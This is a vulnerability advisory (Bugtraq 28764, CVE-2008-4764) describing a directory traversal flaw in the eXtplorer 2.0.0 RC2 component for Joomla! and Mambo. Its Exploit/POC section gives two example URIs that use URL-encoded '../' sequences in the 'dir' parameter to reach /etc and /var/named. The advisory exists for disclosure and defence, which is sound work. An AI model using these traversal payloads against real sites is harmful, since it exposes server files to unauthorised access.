Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

BID:28764

Info

Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

Bugtraq ID: 28764
Class: Input Validation Error
CVE: CVE-2008-4764
Remote: Yes
Local: No
Published: Apr 14 2008 12:00AM
Updated: May 07 2015 05:29PM
Credit: HouSSaMix
Vulnerable: eXtplorer eXtplorer 2.0.0 RC2
Not Vulnerable:

Discussion

Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

The Joomla! and Mambo eXtplorer component is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to access sensitive information that could aid in further attacks.

eXtplorer 2.0.0 RC2 is vulnerable; other versions may also be affected.

Exploit / POC

Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

An attacker can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
http://www.example.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

Solution / Fix

Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability

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